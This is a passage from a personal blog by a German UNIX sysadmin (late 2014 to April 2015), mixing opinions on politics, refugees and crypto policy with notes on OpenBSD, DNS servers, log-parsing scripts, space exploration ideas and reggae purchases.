when the Bear goes home, it'll be filled with data on the encounter. Valuable
data. Which the military complex there can pounce on and devour.
Just makes sense doesn't it?
Speak German at home...
December 8th, 2014
The BBC reports
that the Bavarian government insists that migrant families speak German at
home. I have a few opinions about that:
One, noone gives a hoot what you do in the privacy of your home. If they
do they oughta really check themselves before they wreck themselves.
Noone can understand south Bavarian dialekts either.
And thirdly, if my parents, when we lived in Canada had chosen to allow
us to continue speaking English, instead of German at home, then I would have
completely lost the German language. I mean completely. Just a few years
ago when I worked at the Bavarian Red Cross, one of the reasons they fired me
was because of my poor German. Yet it wasn't even that bad. Had I not known
any German then things would have been even more difficult. Language barriers
only make a migrants life a lot harder in the long run when they return to
where they came from. Don't take that away from them is my opinion, German
is not a world business language, meaning it accounts to absolutely zero in
some far off country.
Until the Bavarian government realises this I wish on them to become a
migrant for 5 years. Then we'll see how different they see the world.
Farewell American Forces
December 9th, 2014
When my family first moved to Schweinfurt there were two major things here:
Industry and the US Army. It must have been 1979 when we came here and the
cold war was in full swing. I remember a battalion of tanks riding past me
at the Obertor (Upper gate) and it left me a bit crazy, as I, a boy at the
time was a huge contrast to these huge machines manned with waving soldiers.
Another time I remember being on a class trip and we walked past a tank but
didn't spot it because it was camouflaged so well with camouflage netting.
Another time a Jeep around 1985 sat in front of my house at 9:30PM with its
radio turned up loud. It was a sort of manouver they were doing where they
practiced "Urban" warfare I guess. My dad spoiled it for them as he told
them to leave because I was trying to sleep. So now it's 30 years later
since these encounters, the cold war is long gone and peaceful times
saturated this city. It's been a few months ago now since I guess the last
american soldier left. The US has left behind 2 major barracks, Ledward and
Conn. Since Conn had its own water infrastructure and its own sewage treatment
they are trying now to connect it to the rest of the city. In the new year
we expect refugees from around the world.. (asylum seekers) to fill the
Conn barracks. At least it has a purpose still if they manage to connect it
all. So long America, Schweinfurt may miss you at times. However you leave
behind some children who have a US citizenship so I'm sure you'll hear from
us once in a while as many of these children grow up and set foot on american
soil and will have stories to tell.
Comparison between Mordor and the US
December 12th, 2014
Traits
Mordor
US
Tortures
yes
yes
Has spies all over the planet
yes
yes
Collects spy data on everyone
no
yes
Has tough border and customs control
yes
yes
Has elite military units
yes
yes
Has several allies
yes
yes
Has death penalty
yes
yes
Puts emphasis on towers
yes
yes
I could go on but the point is made, except for a sole ruler, which the US
doesn't have.
December solstice in less than a week!
December 15th, 2014
On the 21st of December we have the december solstice. That's when short
days will turn around and lengthen until June. Also on that day is the
official start of winter (I know some people don't grasp that, they see
snow they think it's winter). Winter will last until the equinox in March.
A domain expired, amdeutschhof.de
December 16th, 2014
When I knew I'd be getting this apartment I registered this domain called
amdeutschhof.de. It's hard to believe it's 2 years later. Here is an
image found on the site that I set up for it:
The domain didn't get many hits and it wasn't popular I don't think. However
the sign was taken down after it was vandalized some time ago. I got a good
picture of how it once looked. Yes, somewhere on that map is where I live.
My thought about Pegida
December 16th, 2014
I think the people around Pegida are wrong. However, one had a valid
demand. He said to get rid of the GEZ which is tax that everyone
has to pay on top of taxes, to finance the state run media (mainly ARD, ZDF,
DW and such medias). I too would like this tax gone. It's too likely that
state run media is used for propaganda. Especially in these times.
Another person said that there is no money for public installations
but money for asylum seekers (refugees). To that person I
would say, "Look in your heart, do you really want someone to continue to
live the misery that they do? When all you have to do is tolerate them as
neighbours. It would make a big difference to all."
Another said "everywhere where there is war, germany is involved, this has to
stop". Sorry, you can't stick your head in the sand and ignore
the grim picture of the world around us. We have to act against aggressors
despite how ever twisted war is. We've had 70 years of peace after making a
real mess of the world 70 years ago. Why should we not help those that need
help? And let's be frank, 70 years of peace has created people who are
"products of the environment" which is hazardous in some cases.
So I agree with one, disagree with two others. Pegida doesn't care for anyone
but their own self-served interests. I liken them to the minutemen in the
US.
NASA wants to go to Venus
December 17th, 2014
Remember the Venus Glider? One of my ideas? Search for it in this blog.
Anyhow NASA wants to go to Venus with a manned mission and study the atmosphere
at 50 km high. Life is bareable there we predict. Only they want to do it
with a blimp instead of a glider.
The above picture is from my office (it's a poster) showing venus on the left
and earth on the right. This is all the media I can give you. Let your
imagination do the rest. Also for a small hint..trees breathe carbon dioxide
which Venus has plenty. A floating base on Venus could perhaps have a few
trees for rare treats. Venusian cherries anyone?
Merry Christmas / Frohe Weihnachten!
December 24th, 2014
Tonight is Christmas Eve. Merry Christmas! It looks like it'll be a green
christmas here in Germany, as long as it doesn't rain, it'll be alright.
Winter Flowers
December 28th, 2014
Added supercluster to nameservers
December 29th, 2014
On August 12th, 2014 I removed moon.virgostar.net from the nameservers. Since
then I had been running off only two nameservers. Both were spread far apart
in Panama and Germany. Since today I have added a third nameservers again,
this time it's called supercluster.virgostar.net. While doing so I noticed
(thanks to DENIC) that my delphinusdnsd and its predecessor wildcarddnsd
version 0.9.0 mismatched/flipped the refresh and retry values in the SOA of a
zone. I fixed that and put it back in production. Supercluster is running
nsd in a slave mode. Earlier before doing the DNS change I upgraded
supercluster to OpenBSD 5.6 and applied all known patches. It's been a busy
morning and I'm fairly tired. So looking at the winter flowers will get me
going again, I hope.
Happy New Year!
December 31st, 2014
It's New Years eve here in .de, but on the globe the date is already
January 1st (in .au for example). May 2015 be a prosperous year for you and
me. Signing off for 2014, yours Peter J. Philipp.
Donation time again
January 5th, 2015
I have written a bank transfer to OpenBSD for 50 euros, labelled it
"1st quarter", so it may be that OpenBSD is getting similar amounts
three more times this year. Told you it'd be less than last year.
My 150 Euro Calculator
January 5th, 2015
You know I own a Raspberry Pi. Well in December of 2014 I bought an Adafruit
TFT with touchscreen (only with a pen) that is 2.7". Here is the costs
involved:
Raspberry Pi - 70 euros with SD card and Powersupply.
Adafruit TFT display and Case - 50 euros.
Shipping and Customs from NYC, USA - ~30 euros.
I installed xdm and modified it to run calculator (xcalc) over the entire
screen. It has a screensaver too. This is what it looks like:
I put an OpenBSD sticker on it but only to cover the holes for the buttons
which I need to buy the buttons for but not likely since customs costs so
much. This rpi is running raspbian OS. One day I'm going to overhaul this
calculator but for now it's working nicely.
Ordered 3 books
January 9th, 2015
I have ordered a book titled "The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory". This is something that interests
me and that I'm a total newbie in. With this purchase was a recommendation to
buy 3 books so I got the Red Team Field Manual along with Practical Reverse
Engineering. I wonder if it was a good decision. Since my budget for this
year is only 6-8 books I'm only going to count this as 2 books instead of 3.
I am not your subordinate
January 11th, 2015
The longer I observe the International news in regards to views from other
countries with their relationship to Germany, I just want to make it clear.
I'm not your subordinate. Other countries waged war versus Germany 70 years
ago and we lost. However we're not born to be subordinates generations after
the war, so treat us as sovereigns. If you do not you lose a friend. And
friends is what everyone needs in these times. I sense that it makes Russians
furious that Germans are able to share their opinions on the world wide web or
even the Internet. I sense that Americans feel they have to protect a secret
when it comes to exchanging valid information. I'm not your little friend and
I'm not your big enemy. I am sovereign and seek freedom with something else.
I'm annoyed that Mr. Gorbatchov is blaming Germany for the problems his country
has with Ukraine. But my stance is, let the Ukrainians decide their own fate.
All the power-struggles of Russia are immature and pertrude insecurity world
wide. Get real!
And our rights diminish...
January 13th, 2015
I'm unsure whether it should be "thanks charlie" or "merci charlie". As
there is now tougher laws, tougher controls and tougher everything-that-takes-my-freedoms. Even in England they are considering outlawing strong crypto. I
guess we may as well start paying a tax to organized crime immediately since
they can just read through the crypto that's weakened. Good thought! How
free and creative!
Purchased some Reggae
January 15th, 2015
In order to chill out and have something new to listen to I purchased some
Reggae. The lucky artist I picked this time is Khago - The Real One (album).
These 10 songs join my collection of reggae now.
This is how fair the world is
January 19th, 2015
1% > %99. After the
collapse of nations which is looming I predict people will want to do something
different, if we still have a chance.
Is it more than Space Junk?
January 24th, 2015
I read somewhere that companies want to put their own satellites into space
to connect the remaining 40% of Internet-illiterates. Google, SpaceX and
Virgin Galactic I think. They dream of satellite formations that envelope
the world and are able to give Internet in far remote corners where laying
fibreoptic cabling is too expensive. I personally would tell these companies
to "stand back" and hold that thought. If everyone does their own
"Iridium constellation" then we'll have a major problem with space junk. What we need
is 1 platform for everyone to keep it sane. So I hope these companies will
"network" in the form of humans talking together and planning together instead
of competeing and making a mess of the space that surrounds us.
I would bet
that if we put reflectors or laser optic communication devices on the moon that
people would control and talk to from earth that the problem would solve itself. The moon is seen by pretty everybody on earth but not always. So you can set
up a communications link to give people a "downtime" to think, dream, plan and
improve their methods of communicating with the moon and each other. In my
view this is much more reliable and constructive than leaving space junk in
orbit around earth. I've noticed that I think different when I'm online. I
compulse more, I don't use my imagination as great as I do when I've spent
time away from the net. Some examples are a long train journey (clickety
clackety) or even being in the closed ward of a psychiatric institution.
In
the end perhaps I wanted to put a thought out there when I had
moon.virgostar.net on a Hong Kong VPS. In my view it's all about the moon,
not earth orbit.
Administrivia
January 24th, 2015
I just noticed the dates were wrong for January's articles. I forgot to
increment the year from 2014 to 2015 in my template script that I use to
write the articles with. It should be fixed now. Sorry.
Cryptowars: Organised Crime and Terrorists
January 26th, 2015
I have had this on my mind for a long time now. Terrorists cause laws to be
put in place to weaken crypto, or attempted laws. This falls into the hands
of Organized Crime who control corporations who provide Internet. At the
point when innocents join a provider that is corrupt their crypto can be
read and placed on the Organized Crime black market. Now, the problem with
this is who is a greater enemy to government? Organized Crime or Terrorists?
Please don't tell me OC doesn't exist. AFAIK in Canada there have been
identified six groups of Organized Crime and many are multinational meaning
that Germany too has at least some of these groups.
Let's look at Organised Crime further, if these people were in power we'd
have:
Disappearances (people being eradicated from life)
Shadow Governments (think of a place where OC runs a region)
Elitism (only those with an edge on technology reign)
Stronger crime syndicates (more money will remain in the underground economy)
Less taxes, less common taxpayers money
Bribes on government would pick pick up
If that doesn't scare the bejeezus out of you but terrorists do, then you should
reevaluate life on this world. This is why I'm for strong crypto that, yes,
even our government can't break. Perhaps we should prepare ourselves mentally
to allow terrorist attacks and work politically to prevent them instead of
judicially. I know OC is a bigger beast than terrorism and if we don't get it
in check it will cost us a lot more than terrorism ever will.
Electricity (day) consumption up (unfortunately)
January 27th, 2015
I got my electricity bill today. Something really weird is going on because
I spent less electricity for heating (night electricity which charges up my
electric furnaces) but more for day electricity. In a little HTML table it
would look like this:
Year
Night
Day
Total
2013
6941
1276
8217
2014
6906
1323
8229
It could be one of two new computers, one of which is only on at days. It
could be freifunk usage only during the days but not at nights, and it could
be that I use my network which is doubly encrypted only during the days mostly.
I'll be curious what 2015 will be like. It will likely go a little higher too.
Purchased some Reggae
January 28th, 2015
I have the winter blues. I decided it's worth it to spend another 8 euros
for reggae. I have purchased Delly Ranx's The Next Chapter. I'll be busy
listening now.
The rich can't buy smarts, can they?
January 28th, 2015
I think they can. Artificial Intelligence, once it's on the market the
rich will be not just rich but also super smart. Because they can put
full trust into AI, to make them richer. So the monopoly that peasants
have over them on the Internet... well the days are numbered for that.
Just my thoughts.
I want a Greek bailout
February 2nd, 2015
While I don't think it's fair that greeks mismanaged their money, I feel they
are Europeans like us and we should help them. It's a known fact that the
south of the EU cannot produce economically like the north. So for european
unity I believe a solidarity tax with the southern countries would be a proper
thing. We want to be on a flat and even playing field in all of Europe but
industry in the north is way beyond the infrastructure that the south has.
Everyone would pay into this tax, all europeans, but it goes back to the south.
So in effect it means the north is working for the south, yes. But that's the
price of unity we have to pay, perhaps the south can repay us in other ways.
Why I think "The Time Machine" doesn't work in reality
February 3rd, 2015
If you've seen the movie "The Time Machine" you may recall how he sat on a
chair and the timemachine moved through time linearly. This would work if
the earth was the center of the universe and didn't move in space and time.
However our earth follows the "solar apex" which means it's pulled along the
sun at some speeds in the direction of the star Vega. Also we rotate around
the sun also called orbiting. We complete one orbit in 365 days and a few
hours. So if you were to go forward in time but not in space then we would
miss the earth if you really think about it. Same with going backwards in
time. So when building a time machine make sure you send astronauts out first
with preferably a spaceship so they can come back to earth.
The last frontier, under the ice
February 5th, 2015
An old but new idea caught me last night. You probably heard of
NEEMO which is NASA's
underwater research station. Well consider NEEMO with a twist. It
would be installed under the ice at the north pole of the planet earth.
To do this I envisage a purely civilian project that uses old submarines
converted with
AIP fuel-cell
propulsion. If you follow that AIP link it shows that this type of submarine
can do 3000 nautical miles at 4 knots. Which is enough range to have a
submarine go from Svalbard, Norway under the ice to the north pole and come
back. The range between those two points is somewhere between 600 and 800
nautical miles (I haven't really done the math). The idea is to have a
research outpost under the ice at the north pole and use nuclear fusion or
just plain fuel-cells to produce electricity. Oxygen to breathe would be
imported with supply submarines. Communications can be done with long wave
radio as is common with submarines but the antenna is gonna be huge. There
already is a research station over the ice at the south pole, this would
complement its science but under the ice.
Thinking of voting Die Linke in 2017
February 5th, 2015
I've never voted that far left in my life. But the facts are the facts:
Rich are richer, poor are poorer, distribution is out of wack
Socialist parties like the SPD who are supposed to be center-left, aren't
Leftist parties like the Greens did not do enough when they were in power to stop the global inequity
Greece voted left so why can't I?
Perhaps there will be more money for me when I vote Die Linke so that I can pay into a pension fund
Right now I face no future, with no or little pension, I'll be poor when I retire
This is the grim reality. I've considered other parties and my past voting
was Greens, Pirate Party and now Die Linke. Everything is not normal today,
people are suffering and we need real change. For fairness.
Next Week marks Two Years in My Apartment
February 6th, 2015
Almost 2 years ago I
moved
in this place. Haven't regretted it yet, it's a wonderful place.
I'm sick
February 13th, 2015
These are the sickly days of winter. I came down with acute bronchitis since
last weekend. I'm now on anti-biotics and medicine that will hopefully help
me develop the mucus and phlegm required to cough out this virus. Sorry for
the graphic picture. I haven't been sick in a long time like this.
Upper Lower Class
February 14th, 2015
This impressed me very much. At wikipedia under the American upper class
article there is this chart of classes. Now while I live in Germany
and I always felt like I was in the middle class, I work in North America and
get paid in dollars. I also have a North American education of "some college".
Many of our customers are US based, and I'm thinking where my place would be.
Yes I'm in the Upper Lower Class. Lately this realisation has enthralled me.
And it's made me a bit angry too. Dear world, I'm not OK with where you're
going.
Moved the blog
February 16th, 2015
I have moved the blog away from my old vps's. This means it's a single
point of failure too as only one server (in amsterdam) is hosting the
blog. This opens new avenues for me to eventually give up the Panama
vps. The destinations americas.centroid.eu and emea.centroid.eu still go
to the old vps's but I'm going to location tag them over soon.
The host it's now run on is powered by OpenBSD and is running openbsd's
httpd, as you can see it's fairly successful at it. Please update your
RSS if you were using it, as it may not work as before (you need to determine
this).
Purchased more Reggae
February 17th, 2015
I don't just buy men artists, although the majority of Reggae I have is men.
This album I just bought is from a woman. Etana - "I Rise". Looking forward
to hearing the entire album.
Scarcity vs. Abundance
February 21st, 2015
Scarcity, what is it? It means that something (resources) are limited to an
extend that they are scarce or little. What is Abundance? Abundance is the
exact opposite. I remember the first time I heard the word abundance it was
in a Bob Marley song and it went "In the abundance of water, the fool is
thirsty". I heard the word scarcity after hearing use of abundance really.
On earth we live a life of scarcity when it comes to "things". We may have a
toaster and a tv, but we do not own a rocket or space shuttle to take us into
orbit. Only a few people that are selected can go, "on behalf" of humanity.
I'd like to contrast scarcity with abundance in computer systems.
My first computer I had (a ZX-81) had 4KB of RAM, it was really scarce.
Compare that with my newest computer that has 32 GB of RAM, that's a factor
of 8 million times what I had back then. I just hope that we don't get too
disappointed that we don't see such factors of abundance in material things
such as space shuttles.
I lived in North America for 15 years and in the
early years I noticed a contrast that a lot more people had an air conditioning
system with their house or apartment. In Germany there isn't as many systems
but it has to do with scarcity of electric energy. It makes no sense to
run a coal powerplant to run an air conditioner, my dad always said. The
burned coal produces carbon dioxide which in turn causes the greenhouse effect
aka global warming. If using green technologies such as wind turbines we're
tapping into an abundance of energy on earth. Yet wind turbines aren't cheap
and there is a scarcity of them.
In fact we're in energy transitioning times
where we're going from unsustainable and falsely seemingly abundance of energy
in form of nuclear to sustainable wind and solar. What nuclear energy has
left us with is an abundance of poison in form of nuclear waste. 1 mg of it
could kill thousands of people. So I'm gonna stop here on that topic.
As you can see we're living in mostly scarce times, except the computers...
those buggers seem to double capacity every 18 months. But I can tell you
we're hitting a limit even with computers. Right now we're having a heyday
going smaller and smaller with chip circuitry, but we're nearing an end. I
think they say 8 nanometers is the end of it. We're at 22 now I believe.
We'll have to look for new ways of computing in order to keep up this seemingly
abundance of capacity.
Oh well, that's all I wanted to say, although I'll continue when more comes
to mind.
Ordered three books
February 23rd, 2015
I have ordered three books that generally interest me.
It's about Time: Understanding Einstein's Relativity - Mermin, N. David
Quantum Computer Science: An Introduction - Mermin, N. David
Other than being about Quantum computers they don't really deal with computers
much.
Nearing 20 years UNIX experience
February 24th, 2015
In 1995 I first installed GNU/Linux on my sole computer (a 486/66). A year
later it ran FreeBSD 2.1-RELEASE, another year later in 1997 I got my first
sysadmin job (starting pay $10/hour, soon after $36K a year). All in all
I'm nearing 20 years experience as a UNIX user and 18 years experience as a
UNIX sysadmin. It should really be UNIX-like although we did use Solaris in
1997 and BSD is not a clone. A lot has changed in those 20 years. For one
I don't have the body I had back then. Back then I was slender and carried
a Basketball. Now I carry the basketball in my stomach, lol :-). But I'm
also wiser, I admit. And I'm getting smarter, I recently worked out how much
raise I should be getting after inflation from what my salary was in 2000.
If I had any advise to young people is: "don't underestimate how much you're
worth, make them pay" and "stay physically fit despite those long hours they
want you to put in". Whether I'll be doing this another 20 years? Time will
tell.
Got a washing machine
February 25th, 2015
Two years after moving into this apartment, I've finally got a washing machine.
Picture here:
I used to take my laundry to my parents house but it's too much work now that
my mother is home after having a stroke (she was in hospital for a few months),
so I got this thing.
OpenBSD donations reached 397,000 dollars in 2014
February 26th, 2015
Ken Westerback of the OpenBSD Foundation has said this about 2014:
We received $397,000 in new donations and paid out $129,000 to support the
activities of the OpenBSD and related projects.
And this year in 2015 they plan to raise $200,000. If you haven't donated
yet please consider a small amount
here or look up how to do donations otherwise.
I personally don't know if my money made it to the OpenBSD Foundation because
I donate directly to Theo de Raadt's Munich bank account. So that money may
be higher than $397,000. This year I decided to donate 50 euros quarterly and
the first quarter is not up yet. But in a month it will be, I'll let you
know when I do the second donation of the year.
God Speed Spock!
February 27th, 2015
## ##
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## ##
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#
RIP Leonard Nimoy, 83.
Softraid Crypto seems secure
March 5th, 2015
Sometimes I do pesky things such as asking OpenBSD developers if their
stuff is secure or not (or if they wrote certain parts). I do this in
part out of curiousity and lazyness at the same time. And so it came
that I asked OpenBSD developers the following questions:
Why is there duplicate blocks in a crypto softraid disk image?
If it's because ECB mode is used would a counter mode be better?
Now Ted Unangst answered with some helpful answers. He understands code much
better than I and his answers seemed very helpful.
Another developer Joel Sing answered but his answers didn't hit my satisfaction
factor as much. In fact Joel wanted to make me work and overcome my lazyness
factor and he asked the following questions:
What encryption algorithm/mode is used for disk block encryption?
Where do the keys come from that are used for the disk block encryption/
decryption
How are the keys that are used to encrypt the disk blocks stored?
When creating a new softraid crypto volume, Where does the key come from?
What happens if you use a keydisk instead of a passphrase?
Now Joel knew that I had picked the function sr_crypto_encrypt() next to
randomly because it was the closest looking function to having a crypto
component. I guess I must have picked the wrong function. If ECB is not used
for question #1 then perhaps it's AES XTS which is also mentioned in the code.
I know very little about this mode and found only a little wikipedia entry on
it.
I'd like to rant about this a little more but I need to do more research.
Spending 30 minutes reading /usr/src/sys/dev/softraid* and /usr/src/sbin/bioctl
is not enough to make a concrete picture of this. And this isn't easy code
either. I have much respect for Marco Peereboom and Joel Sing and others who
wrote this for their perseverence in understanding such a complex thing. I'm
just not at their level and likely never will be. Whether I was even helpful
for anyone is debateable. But then again if noone looks and asks questions
even if seemingly ignorant who is? I for one want OpenBSD tested and questioned in order to find what works best. If it didn't have that I wouldn't use it
and I'd feel a lot more insecure. I'll give you another example, when W^X came
out I was not satisfied with just them telling me that stack overflows are now
protected. I wrote my own test programs to really test this to the extend of
knowledge that I had on stack smashing. Had I not done this I would never
have guessed that a program exits on SIGABRT when W^X detects a smashed stack.
OpenBSD's httpd with webalizer
March 5th, 2015
I like using webalizer to give me an idea how much international traffic I
get with the GeoIP extension. Well when I switched to openbsd's httpd
something was broken. It took me a few weeks to find time today and I figured
out that the combined logfile prepends a %v (in apache speak) which is a
virtual hostname. I wrote a script to remove this (apache recommends a program
called split-logfile):
$ more webalizer.sh
#!/bin/sh
TMPFILE=`mktemp /tmp/blah.XXXXXX`
awk '{$1="" ; print ; }' /var/www/logs/access.log | sed -e 's/^[ ]*//g' > $TMPFILE
cd somelocation && webalizer -w $TMPFILE
rm -f $TMPFILE
Granted the USA and China are usually 1st and second place because of their
aggressive search bots googlebot and baidu. How many people found this blog
through a search engine? I hate to tell you your search engine is breaking
the rules because I am maintaining a /robots.txt file which should exclude
bots from going into my blog. I am not mad about you being here though just
mad for being indexed.
Oldlaptop's github repo
March 5th, 2015
I had the opportunity to talk a little to oldlaptop on efnet. We talked a
little about popcon.debian.org and
noticed that openssh-client had >170K users at debian, and sed being the
most popular package. Oldlaptop has a github page where he designs software
and packages for UQM (/usr/games/uqm in OpenBSD). His github page is
here. Thanks for chatting
oldlaptop!
Purchased Reggae
March 7th, 2015
This month I got Luciano - Special Edition (2014).
Crackers are getting more careful
March 7th, 2015
Captured from an IRC session:
13:13 <@pbug> # grep 182.100.67 authlog | wc -l
13:13 <@pbug> 543
13:13 <@pbug> # grep 182.100.67.112 authlog | wc -l
13:13 <@pbug> 44
13:13 <@pbug> these pesky things!
13:14 <@pbug> they change their IP and continue trying to log in as root
13:15 <@pbug> oh what's more they are careful not to overload my pf tables now
13:15 <@pbug> # pfctl -t bad_hosts -T show | grep 182.100.67
13:15 <@pbug> #
Good thing I disabled root logins they have been trying to crack it a long
time now while evading my overload pf tables.
Equinox in 8 days
March 12th, 2015
The March Equinox is upon us again. If you're in Europe you're getting a
rare treat at around 8:46 CET. We'll have a solar eclipse then, in parts
of Germany the Sun will be covered around 70-80%. Some people are worried
about solar power degrading and causing blackouts, we'll see. Only in the
Faroes and Svalbard will there be a total solar eclipse, btw. So make plans
to travel there now! LOL just kidding!
Wrote two members of parliament
March 12th, 2015
I have written two members of parliament representing Schweinfurt regarding
the Stoererhaftung. I was prompted to write them according to this
article, a call for help.
I currently run the only known Schweinfurt nodes of Freifunk Franken, so this really does affect me not just
indirectly.
Pre-Ordered OpenBSD 5.7
March 13th, 2015
Pre-orders are on. If you want to order OpenBSD 5.7 too and don't know how
go to openbsdstore.com and click the
flag at the top right to specify your region. The prices will then update
and you'll be able to see 5.7 at the very top and proceed to buy it. Have
fun!
Happy Pi day
March 14th, 2015
It's 3.14.15 as written in american (english too?) dates. This year the year
also represents digits of Pi, so this year is special.
My Eclipse photos were a FAIL
March 21st, 2015
I made a construct with my ipod and welders glass to capture the eclipse.
Unfortunately the images came out pretty bad. There is no lessons learned other than that it
doesn't work this way. One suggestion was that I had to turn auto exposure off
but I'm unsure of the setting on my ipod. Where others chose routes of
perfection, I chose routes of failure it seems. Over and over again.
Purchases more Reggae
March 24th, 2015
In order to get by this march I have bought a rather old riddim (from 2013)
called the "contagious riddim" which is various artists on the same track.
I wouldn't know about this if it wasn't for pre-viewing on youtube, so props
goes to youtube too.
The catch-22 of mental illness
March 28th, 2015
Everyone heard of the Germanwings Flight 4U 9525 by now. The co-pilot
caused a murder-suicide by crashing the plane deliberately. The evidence
gathered amounts that he was mentally ill, but it wasn't depression. So
did he hear voices? Ie. did he have schizophrenia? This is just a guess
right now until the media reports the truth around his mental illness.
So is it right to give up your job that you love because you have a mental
illness? Is it right to hide it from your employer?
I have schizophrenia
myself, but my employer knows this, but what if he didn't? Would that change
a thing? In my view Andreas L. was reckless. He was a bull gone mad. He
should have told his employer and take the hit. It would have saved 149
innocents from dying. Truth is he would have lost his job, but there is
other not-so-glamirous jobs that he could have taken on. And if he still
wanted to kill himself he could have done it in a way that affects only
himself. Like perhaps doing it in the glider he was solo'ing often.
More facts will appear in time, however, I'd also like to say this: "That
guy made us mentally ill look bad, and is causing unneeded consequences on us!".
We too are victims of this madman.
Please, not another LEO ISS!
March 29th, 2015
Russia's space agency and
NASA may collaborate to create another ISS after the current ISS will be
scuttled in 2024. Now if they want to do another LEO (Low Earth Orbit) ISS
then I gotta yawn and say "boring!". How about raising the bar a little and
putting a station around the moon? I'd even be satisfied with a station at
Geosynchronous Earth Orbit (GEO). If Europe is expected to collaborate on
another ISS I want them to consider this! Also the news of space junk and
the evasive manouvers that the current ISS had to do makes it literally
dangerous to put another ISS in LEO.
R.I.P. Paul Schenkeveld
March 30th, 2015
News hit me
that Paul Schenkeveld has passed away. This is sad news indeed. I ate at the
same table as Paul at EuroBSDCon 2011 and noticed he was a great person. Later
I watched some of his Youtube contributions regarding bhyve the BSD hypervisor.
Also I enjoyed his interview of Will Backman at BSDCan (forgot year). Even
though we hardly knew each other Paul, you will be missed. And I thank you
for the help that you provided in all sorts of mediums. Rest in Peace.
ESA what are your plans?
March 31st, 2015
All space projects big and small required planning. And so it is that I am
sitting here looking for the plans of ESA for future manned space flight.
Why is it that I can't find anything? We know the ISS goes on to 2024, after
which the Russians will decouple their part and create a new space station.
America has plans to capture a boulder from an asteroid and make it a part
of the moon. Also the americans are working on a Mars mission. What is
Europe doing?
When 2024 comes around are we going to hitch rides on the
russian space station? Or are we going to hitch rides with Americans? Or
both? Why not make our own thing? The ISS didn't occur in 1998 without a
plan. In fact if you research space station Freedom you'll see it's about as
old as the Space Shuttle itself. Mir also existed but it was pressured to be
given up in place for the ISS. Even project Apollo that put the first men on
the moon required at least a decade planning. So we have 2015 now.. 2024 is
in nine years. For me those nine years will likely go pretty quickly. Can
ESA let us know their plans beyond 2024?
Astronomers detect giant star in Constellation Pisces
April 1st, 2015
A giant star was sighted by the Sternwarte Schweinfurt. They are
unsure where it came from but it suddenly appeared, seen through the main
refractor scope at the Sternwarte. For hobby enthusiasts who want to see this
new giant star one should direct their scope at these coordinates:
Right Ascension: 0:40:0.0 Declination 4:16:0.0. As this star has a giant
red-shift (good opportunity to see this is at evening time) the coordinates
could change, it is said.
Happy Easter
April 4th, 2015
I had a quiet but good easter friday, hope you did too.
Greece's war reparation demand
April 7th, 2015
Today Greece has
uncovered the war reparations cost from World War 2 to Germany at 279 billion
euros. Let's put this in perspective. The entire war reparations of World
War 1 which led to World War 2, ie. the
Treaty of
Versailles asked Germany to pay 33 billion 1921 dollars. With inflation
that would be 432.73 billion dollars today, which at todays exchange is 398.77
billion euros. So Greece's demand is over 70% of the demand by all Allies on
Germany after World War 1.
Personally as a German I'd like to pay, given the following demands:
We pay 1% per annum at 2.79 billion
We pay for 100 years at no interest
Greece enters a German-France-Greece military alliance within the EU
Somehow I think the Greeks would say yes to this. However try to convince
the _other_ germans that we should pay a cent, and they would not be willing.
And then there is always risk for world war 3 because reparation demands are
too high. History repeats itself, almost always. BTW the budget for 2013
was 302 billion euros in Germany. Do you think we can put 1% aside?
Wildcarddnsd 0.9.1
April 9th, 2015
I have just made public the 3 months old fix that fixes a mixup of SOA retry
and refresh values. I have updated the CVS and made the tarball public at
the Wildcarddnsd legacy page.
This is likely the last fix before Delphinusdnsd 1.0.0 release in November.
If you paid attention I have changed the name of the DNS server.
I have purchased another Riddim
April 10th, 2015
For April I have purchased the "Peace and Love" Riddim from various artists.
Peace and Love to Reggae music!
Mac OS X 10.10.3 killed my screensaver!
April 11th, 2015
I upgraded my Apple Yosemite from 10.10.2 to 10.10.3 last night and this
morning noticed that the sleeping monitor would not come back after I hit
keys on the keyboard. So I thought the HDMI-DVI adapter broke and exchanged
it with an HDMI cable to the monitor. Still the same behaviour though.
I found a Apple support document that recommends just entering the password
on the blank screen and the video would then come back. I'm gonna try this
now, I'll let you know how it goes. BTW my Mac is a mac mini from late 2012.
It has USB3 ports if that matters any.
Sorry no Linkedin, yet
April 11th, 2015
Someone invited me to Linkedin. Thanks! For now I wish to be independent
though. When the time comes, when I need a Linkedin profile, I'll blog
about it.
One year of mercury (computer)
April 13th, 2015
On April 22nd, 2014 I received the ordered system which was custom built at a computer shop.
The computer is mostly off at nights and weekends and when it runs it's fairly
bored. For the type of work I do I need mostly a mail client, a browser and
ssh all of which don't put so much load on this system. Yes a web browser
could in theory use up a lot of resources but the types of websites I use for
work don't do that. This year I plan on repurposing this machine possibly in
november/december, to become a bhyve hosting system. I'll need another system
replacing it though. Right now I have my sights set on a mac book or MBP that
I'll use with a docking system to become my workstation. The mac mini (gaia)
may see another repurpose as well, I'm hoping to put OpenBSD on it natively.
Not sure if I can do that yet, but the usb3 support in OpenBSD seem promising.
Blog Outtage this Morning
April 15th, 2015
There was a power related issue at the datacenter of my VPS provider in
the Netherlands. This caused centroid.eu to be unreachable for a number of
hours. Now you know :-(.
The contraction of my VPS network
April 15th, 2015
At one point in time I had three global VPS's rented. One was in Hong Kong,
the other in Panama and a third in Nuremberg, Germany. Now I have replaced
the Hong Kong VPS with an Amsterdam VPS, and I'll likely replace the Panama
VPS with a new Frankfurt VPS hosted at Digital Ocean. As long as I can use
FreeBSD there, that is. What this means is that there is a contraction
happening. I'm contracting back into Europe from a worldwide presence. I
still have to think about why I'm doing this but it's reactionary to outside
influences.
Backport of patch for OpenSMTPD 5.4.2p1
April 20th, 2015
Gilles Chehade of OpenBSD/OpenSMTPD fixed the OpenBSD 5.5 and higher version
of opensmtpd with this patch. I run FreeBSD with an old port of
opensmtpd on io.solarscale.de (one of my vps's) and I have backported this
patch to there. Thanks Gilles! Patch is here. Apply it from the smtpd directory inside the release.
Exploring Xephem
April 21th, 2015
Look at this excerpt printed to .ps and later converted to .jpg with gimp.
This came from xephem 3.7.7 RC3, a fantastic program. One thing I noticed
however that if you go forward in time the position of the Vernal Equinox
which is indicated here as "VEq" does not shift. In another program called
stellarium it does change, and the coordinates of RA/DEC change as well with
time. I don't know if this is proper that these coordinates change with time
but as a rule always provide the date when giving RA/DEC coordinates please.
Future Astronomers (in 2500 years) may appreciate that.
Vernal Equinox and Jesus
April 22th, 2015
Forgive me, I'm not really religous. I believe in a god though. When
playing with xephem I noticed that the vernal equinox happened around the
time Jesus died, in easter. And what is really interesting in this all is
that the vernal equinox back then was really close to the constellation
